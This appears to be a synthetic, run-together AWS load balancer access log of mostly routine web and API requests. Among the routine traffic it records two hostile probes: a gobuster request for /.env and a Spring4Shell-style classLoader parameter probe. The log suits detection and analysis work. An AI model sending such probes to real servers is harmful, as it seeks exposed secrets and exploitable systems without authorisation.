10.0.109.119:443 0.025741 0.261723 0.033607 200 200 932 13268 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c362-936ac026964a4d028fb88d1c" "prod-web-alb.example.com" "-" 4 2024-11-01T00:50:26.578099Z "forward" "-" "-" "10.0.109.119:443" "200" "-" "-" -https 2024-11-01T00:50:26.994436Z prod-web-alb 164.242.110.100:13891 10.0.118.205:443 0.058924 0.007385 0.020379 200 200 509 12010 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c362-12f704878c86487d8023f50f" "prod-web-alb.example.com" "-" 8 2024-11-01T00:50:26.994436Z "forward" "-" "-" "10.0.118.205:443" "200" "-" "-" -https 2024-11-01T00:50:28.000956Z prod-api-alb 96.60.105.157:17843 10.0.41.23:443 0.090765 0.456030 0.063034 200 200 15 6109 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c364-7e121f45b624403baa2c1a41" "prod-api-alb.example.com" "-" 7 2024-11-01T00:50:28.000956Z "forward" "-" "-" "10.0.41.23:443" "200" "-" "-" -http 2024-11-01T00:50:29.579478Z staging-alb 200.128.183.96:27483 24.73.95.93:80 0.036831 0.203611 0.038810 200 200 89 6022 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c365-fe1ca174c45e44a6a30a6ec3" "staging-alb.example.com" "-" 5 2024-11-01T00:50:29.579478Z "forward" "-" "-" "24.73.95.93:80" "200" "-" "-" -https 2024-11-01T00:50:30.109945Z staging-alb 183.201.2.22:44557 177.237.99.145:443 0.078499 0.143346 0.054237 302 302 445 10699 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c366-5ad4d0ffa99543f4bd98532e" "-" "-" 3 2024-11-01T00:50:30.109945Z "forward" "-" "-" "177.237.99.145:443" "302" "-" "-" -https 2024-11-01T00:50:31.268845Z prod-api-alb 93.184.77.131:48873 10.0.235.248:443 0.088957 0.234762 0.040170 200 200 970 2256 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c367-42f5b382788244f6a68f305d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:50:31.268845Z "forward" "-" "-" "10.0.235.248:443" "200" "-" "-" -https 2024-11-01T00:50:32.120523Z prod-web-alb 58.175.220.35:48964 10.0.252.103:443 0.001541 0.013380 0.088159 302 302 625 10900 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c368-bfe654f1523c4c43b546393e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:50:32.120523Z "forward" "-" "-" "10.0.252.103:443" "302" "-" "-" -https 2024-11-01T00:50:32.777342Z prod-web-alb 140.108.191.149:57672 10.0.233.246:443 0.089963 0.043401 0.047209 301 301 843 6919 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c368-fb24e5a90a6f46a7b55960c4" "prod-web-alb.example.com" "-" 9 2024-11-01T00:50:32.777342Z "forward" "-" "-" "10.0.233.246:443" "301" "-" "-" -https 2024-11-01T00:50:34.062658Z prod-web-alb 154.79.174.22:31233 10.0.103.205:443 0.048309 0.376137 0.010569 404 404 78 7623 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c36a-646497c468d04ceeb37c0ea6" "prod-web-alb.example.com" "-" 7 2024-11-01T00:50:34.062658Z "forward" "-" "-" "10.0.103.205:443" "404" "-" "-" -https 2024-11-01T00:50:35.816465Z prod-web-alb 177.164.202.254:33093 10.0.137.178:443 0.049252 0.495109 0.099978 200 200 460 1601 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c36b-a8abf18f92ef4d5c8ce90a2c" "prod-web-alb.example.com" "-" 5 2024-11-01T00:50:35.816465Z "forward" "-" "-" "10.0.137.178:443" "200" "-" "-" -https 2024-11-01T00:50:36.454323Z prod-web-alb 53.124.169.38:20184 10.0.177.188:443 0.054159 0.123087 0.055298 200 200 125 14279 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c36c-384e04cb9a814c43b16aefa2" "prod-web-alb.example.com" "-" 3 2024-11-01T00:50:36.454323Z "forward" "-" "-" "10.0.177.188:443" "200" "-" "-" -https 2024-11-01T00:50:38.081517Z staging-alb 191.107.128.106:26077 143.175.151.1:80 0.058428 0.588231 0.060086 200 200 277 290 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c36e-6ca203d74ce34c7b87f2063d" "staging-alb.example.com" "-" 5 2024-11-01T00:50:38.081517Z "forward" "-" "-" "143.175.151.1:80" "200" "-" "-" -https 2024-11-01T00:50:38.365088Z staging-alb 161.55.75.172:54168 152.193.137.163:8080 0.134357 0.419573 0.087858 404 404 898 4377 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c36e-4166119e2f82474a977f2695" "staging-alb.example.com" "-" 4 2024-11-01T00:50:38.365088Z "forward" "-" "-" "152.193.137.163:8080" "404" "-" "-" -https 2024-11-01T00:50:39.774348Z prod-web-alb 11.183.26.180:14639 10.0.109.177:443 0.076287 0.451302 0.086042 404 404 239 1293 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c36f-2bee0c4a3e4547e5aaf45f4b" "prod-web-alb.example.com" "-" 1 2024-11-01T00:50:39.774348Z "forward" "-" "-" "10.0.109.177:443" "404" "-" "-" -http 2024-11-01T00:50:40.894096Z staging-alb 150.124.71.166:12700 98.198.117.168:80 0.128715 0.347603 0.129146 200 200 68 2062 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c370-fdcc4090e2914652a9afede3" "staging-alb.example.com" "-" 7 2024-11-01T00:50:40.894096Z "forward" "-" "-" "98.198.117.168:80" "200" "-" "-" -https 2024-11-01T00:50:42.387498Z staging-alb 189.142.10.249:32756 190.187.90.56:8080 0.128676 0.534071 0.113491 302 302 268 5018 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c372-b9edcaf0a5a943cfa77cbc37" "staging-alb.example.com" "-" 6 2024-11-01T00:50:42.387498Z "forward" "-" "-" "190.187.90.56:8080" "302" "-" "-" -https 2024-11-01T00:50:43.901514Z prod-web-alb 179.38.224.154:11081 10.0.150.13:443 0.070661 0.086474 0.090465 301 301 714 6688 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c373-b84a15583b04427486511900" "prod-web-alb.example.com" "-" 9 2024-11-01T00:50:43.901514Z "forward" "-" "-" "10.0.150.13:443" "301" "-" "-" -https 2024-11-01T00:50:44.957613Z prod-web-alb 193.27.228.48:29710 10.0.217.84:443 0.071874 0.166999 0.038641 403 403 27 14621 "GET /.env HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c374-9b774d3197204a2f8004490e" "-" "-" 5 2024-11-01T00:50:44.957613Z "forward" "-" "-" "10.0.217.84:443" "403" "-" "-" -https 2024-11-01T00:50:46.621535Z staging-alb 182.40.48.1:43646 141.189.69.156:443 0.117821 0.566829 0.067207 302 302 869 2019 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c376-53d38595ad764c6ea81b9ca1" "staging-alb.example.com" "-" 9 2024-11-01T00:50:46.621535Z "forward" "-" "-" "141.189.69.156:443" "302" "-" "-" -http 2024-11-01T00:50:48.031247Z staging-alb 214.65.76.63:15587 105.61.105.9:80 0.060611 0.099767 0.089899 200 200 452 4444 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c378-c3cdf826a1d6446f97e39e19" "staging-alb.example.com" "-" 10 2024-11-01T00:50:48.031247Z "forward" "-" "-" "105.61.105.9:80" "200" "-" "-" -https 2024-11-01T00:50:49.704289Z prod-web-alb 98.98.100.213:28121 10.0.226.181:443 0.082951 0.360505 0.053388 200 200 707 11875 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c379-1989e81d0bcf4762bce247a9" "prod-web-alb.example.com" "-" 5 2024-11-01T00:50:49.704289Z "forward" "-" "-" "10.0.226.181:443" "200" "-" "-" -https 2024-11-01T00:50:50.932919Z prod-web-alb 135.6.70.105:57852 10.0.244.169:443 0.017911 0.492797 0.069980 200 200 565 1670 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c37a-09ba79adf3f140aab35984b3" "prod-web-alb.example.com" "-" 5 2024-11-01T00:50:50.932919Z "forward" "-" "-" "10.0.244.169:443" "200" "-" "-" -http 2024-11-01T00:50:51.861067Z staging-alb 237.118.113.207:46809 213.74.227.34:443 0.147926 0.435308 0.110183 200 200 900 8631 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c37b-2feb98072e4b42bc935b4f7c" "staging-alb.example.com" "-" 4 2024-11-01T00:50:51.861067Z "forward" "-" "-" "213.74.227.34:443" "200" "-" "-" -https 2024-11-01T00:50:52.674731Z prod-api-alb 39.146.27.55:30878 10.0.184.245:443 0.083490 0.131166 0.016157 200 200 295 7851 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c37c-dbff62bcd24d4b3a992144a0" "prod-api-alb.example.com" "-" 6 2024-11-01T00:50:52.674731Z "forward" "-" "-" "10.0.184.245:443" "200" "-" "-" -https 2024-11-01T00:50:52.943804Z prod-api-alb 203.14.223.140:58386 10.0.74.48:443 0.006142 0.444058 0.044029 200 200 392 9462 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c37c-7e6a99f3a3ad4fa9849fe1d4" "-" "-" 9 2024-11-01T00:50:52.943804Z "forward" "-" "-" "10.0.74.48:443" "200" "-" "-" -https 2024-11-01T00:50:53.553069Z staging-alb 42.205.59.3:59019 184.190.243.192:8080 0.066609 0.147731 0.070388 301 301 589 12240 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c37d-87441757d178435894990794" "staging-alb.example.com" "-" 0 2024-11-01T00:50:53.553069Z "forward" "-" "-" "184.190.243.192:8080" "301" "-" "-" -https 2024-11-01T00:50:55.077690Z staging-alb 197.154.235.44:24133 168.163.135.175:8080 0.135010 0.302054 0.087115 301 301 740 11363 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c37f-6c560ee7dc1f4a6fa915131f" "staging-alb.example.com" "-" 2 2024-11-01T00:50:55.077690Z "forward" "-" "-" "168.163.135.175:8080" "301" "-" "-" -https 2024-11-01T00:50:55.848925Z prod-api-alb 179.224.12.123:10047 10.0.112.141:443 0.052467 0.459948 0.099869 404 404 356 8618 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c37f-bc37ac1549be4779a253892c" "prod-api-alb.example.com" "-" 8 2024-11-01T00:50:55.848925Z "forward" "-" "-" "10.0.112.141:443" "404" "-" "-" -https 2024-11-01T00:50:57.239334Z prod-web-alb 56.120.130.165:61634 10.0.76.86:443 0.013234 0.146621 0.099652 200 200 40 5536 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c381-047e6dcb3e434bf3b68995d5" "prod-web-alb.example.com" "-" 6 2024-11-01T00:50:57.239334Z "forward" "-" "-" "10.0.76.86:443" "200" "-" "-" -http 2024-11-01T00:50:57.898479Z staging-alb 55.168.209.178:40054 179.48.54.44:8080 0.090424 0.505560 0.065946 404 404 88 13395 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c381-574f75d0c80742c0b6210837" "staging-alb.example.com" "-" 0 2024-11-01T00:50:57.898479Z "forward" "-" "-" "179.48.54.44:8080" "404" "-" "-" -https 2024-11-01T00:50:58.119513Z prod-web-alb 193.27.228.118:51561 10.0.144.16:443 0.066561 0.118404 0.086517 404 404 409 228 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c382-407633a16f234ef295df3548" "-" "-" 4 2024-11-01T00:50:58.119513Z "forward" "-" "-" "10.0.144.16:443" "404" "-" "-" -https 2024-11-01T00:50:59.221216Z prod-api-alb 122.240.102.210:56827 10.0.50.15:443 0.070503 0.199953 0.068090 404 404 997 3056 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c383-46d374f15dba4a74a26a0a7d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:50:59.221216Z "forward" "-" "-" "10.0.50.15:443" "404" "-" "-" -http 2024-11-01T00:51:01.035065Z staging-alb 194.143.166.11:30551 190.129.37.60:80 0.098312 0.582864 0.010901 404 404 203 11581 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c385-c055911b1754466f96ac7e7a" "staging-alb.example.com" "-" 0 2024-11-01T00:51:01.035065Z "forward" "-" "-" "190.129.37.60:80" "404" "-" "-" -https 2024-11-01T00:51:02.407539Z prod-web-alb 57.10.27.101:13626 10.0.153.23:443 0.021972 0.037066 0.079616 404 404 603 13466 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c386-203383bb058648f4a3514a87" "-" "-" 7 2024-11-01T00:51:02.407539Z "forward" "-" "-" "10.0.153.23:443" "404" "-" "-" -https 2024-11-01T00:51:03.370429Z prod-api-alb 135.95.24.235:31443 10.0.119.173:443 0.099616 0.288904 0.006033 200 200 49 9203 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c387-a6ed9ac89fde4295ab382c44" "prod-api-alb.example.com" "-" 3 2024-11-01T00:51:03.370429Z "forward" "-" "-" "10.0.119.173:443" "200" "-" "-" -http 2024-11-01T00:51:03.656429Z staging-alb 82.85.202.87:60216 207.129.64.231:443 0.106359 0.132128 0.016288 302 302 339 5025 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c387-255160f953e841d188b96881" "staging-alb.example.com" "-" 6 2024-11-01T00:51:03.656429Z "forward" "-" "-" "207.129.64.231:443" "302" "-" "-" -https 2024-11-01T00:51:04.876115Z prod-web-alb 6.170.95.131:21728 10.0.31.191:443 0.092975 0.460519 0.044103 200 200 24 7106 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c388-b2613e4456b245239bd47d72" "prod-web-alb.example.com" "-" 7 2024-11-01T00:51:04.876115Z "forward" "-" "-" "10.0.31.191:443" "200" "-" "-" -https 2024-11-01T00:51:06.116901Z prod-api-alb 231.130.200.25:28983 10.0.153.50:443 0.019515 0.172604 0.027689 404 404 539 12056 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c38a-543111db88ae474497a29b37" "prod-api-alb.example.com" "-" 10 2024-11-01T00:51:06.116901Z "forward" "-" "-" "10.0.153.50:443" "404" "-" "-" -https 2024-11-01T00:51:06.626391Z prod-web-alb 252.94.235.182:17336 10.0.193.97:443 0.091494 0.265372 0.050919 302 302 515 3703 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c38a-2cc3c80bd1644c4a99fa752e" "prod-web-alb.example.com" "-" 2 2024-11-01T00:51:06.626391Z "forward" "-" "-" "10.0.193.97:443" "302" "-" "-" -http 2024-11-01T00:51:08.284725Z staging-alb 249.153.237.176:33604 30.202.218.172:80 0.080114 0.282652 0.143421 404 404 382 10143 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c38c-5653ae29f87f4b6a88b5970e" "staging-alb.example.com" "-" 3 2024-11-01T00:51:08.284725Z "forward" "-" "-" "30.202.218.172:80" "404" "-" "-" -https 2024-11-01T00:51:08.671279Z prod-web-alb 175.1.144.106:25227 10.0.91.160:443 0.046544 0.059343 0.097342 302 302 783 12952 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c38c-29bdd98483d04a099886a7cd" "prod-web-alb.example.com" "-" 1 2024-11-01T00:51:08.671279Z "forward" "-" "-" "10.0.91.160:443" "302" "-" "-" -https 2024-11-01T00:51:09.730707Z prod-api-alb 184.133.60.132:21762 10.0.32.182:443 0.068517 0.010774 0.026901 200 200 463 2859 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c38d-113031a690044ba09068ea02" "prod-api-alb.example.com" "-" 8 2024-11-01T00:51:09.730707Z "forward" "-" "-" "10.0.32.182:443" "200" "-" "-" -http 2024-11-01T00:51:10.574870Z staging-alb 203.110.154.95:56371 252.45.152.173:8080 0.070286 0.513617 0.138893 200 200 901 851 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c38e-0cddef7f036d4267bd777404" "staging-alb.example.com" "-" 10 2024-11-01T00:51:10.574870Z "forward" "-" "-" "252.45.152.173:8080" "200" "-" "-" -https 2024-11-01T00:51:12.082248Z prod-api-alb 71.224.150.253:48897 10.0.242.98:443 0.083731 0.205480 0.074508 200 200 686 541 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c390-e93a137c41dc43b19f44ec31" "prod-api-alb.example.com" "-" 5 2024-11-01T00:51:12.082248Z "forward" "-" "-" "10.0.242.98:443" "200" "-" "-" -https 2024-11-01T00:51:13.887745Z prod-api-alb 239.233.127.7:16653 10.0.35.251:443 0.012361 0.413587 0.036300 200 200 907 14819 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c391-4788c74c590641c0aef33ec6" "prod-api-alb.example.com" "-" 4 2024-11-01T00:51:13.887745Z "forward" "-" "-" "10.0.35.251:443" "200" "-" "-" -https 2024-11-01T00:51:14.424736Z prod-web-alb 4.115.34.20:47187 10.0.23.48:443 0.030996 0.158890 0.007227 200 200 522 9010 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c392-4e390050a65c4e7686aa954e" "prod-web-alb.example.com" "-" 8 2024-11-01T00:51:14.424736Z "forward" "-" "-" "10.0.23.48:443" "200" "-" "-" -http 2024-11-01T00:51:16.383899Z staging-alb 79.139.64.148:21408 164.156.109.236:8080 0.012990 0.398421 0.062966 200 200 310 9175 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c394-7b05424eda9649cb90c5d8eb" "staging-alb.example.com" "-" 6 2024-11-01T00:51:16.383899Z "forward" "-" "-" "164.156.109.236:8080" "200" "-" "-" -https 2024-11-01T00:51:16.941106Z prod-api-alb 134.196.244.31:48609 10.0.74.21:443 0.033690 0.239766 0.017319 200 200 815 5545 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 